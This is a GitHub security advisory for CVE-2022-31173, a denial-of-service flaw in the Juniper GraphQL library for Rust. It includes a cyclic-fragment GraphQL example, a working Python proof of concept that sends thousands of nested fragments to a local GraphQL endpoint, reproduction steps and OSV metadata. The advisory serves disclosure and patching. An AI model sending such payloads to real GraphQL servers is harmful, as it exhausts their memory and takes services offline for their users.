GHSA-4RX6-G5VG-5F3J
Vulnerability from github – Published: 2022-07-29 22:29 – Updated: 2022-07-29 22:29
VLAI?
Summary
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Details
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "juniper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31173"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-29T22:29:22Z",
"nvd_published_at": "2022-08-01T19:15:00Z",
"severity": "HIGH"
},
"details": "### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n ...a\n}\n\nfragment a on Query {\n ...b\n}\n\nfragment b on Query {\n ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint(\u0027=== Fragments POC ===\u0027)\n\nurl = \u0027http://localhost:8080/graphql\u0027\n\nmax_size = 7500\nperms = [\u0027\u0027.join(p) for p in permutations(\u0027abcefghijk\u0027)]\nperms = perms[:max_size]\n\nfragment_payloads = \u0027\u0027\nfor i, perm in enumerate(perms):\n next_perm = perms[i+1] if i \u003c max_size-1 else perms[0]\n fragment_payloads += f\u0027fragment {perm} on Query\u0027 + \u0027{\u0027 f\u0027...{next_perm}\u0027 + \u0027}\u0027\n\npayload = {\u0027query\u0027:\u0027query{\\n ...\u0027 + perms[0] + \u0027\\n}\u0027 + fragment_payloads,\u0027variables\u0027:{},\u0027operationName\u0027:None}\n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n}\n\ntry:\n response = requests.request(\u0027POST\u0027, url, headers=headers, json=payload)\n print(response.text)\nexcept requests.exceptions.ConnectionError:\n print(\u0027Connection closed, POC worked.\u0027)\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n",
"id": "GHSA-4rx6-g5vg-5f3j",
"modified": "2022-07-29T22:29:22Z",
"published": "2022-07-29T22:29:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31173"
},
{
"type": "WEB",
"url": "https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb"
},
{
"type": "WEB",
"url": "https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22"
},
{
"type": "PACKAGE",
"url": "https://github.com/graphql-rust/juniper"
},
{
"type": "WEB",
"url": "https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2022-0038.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…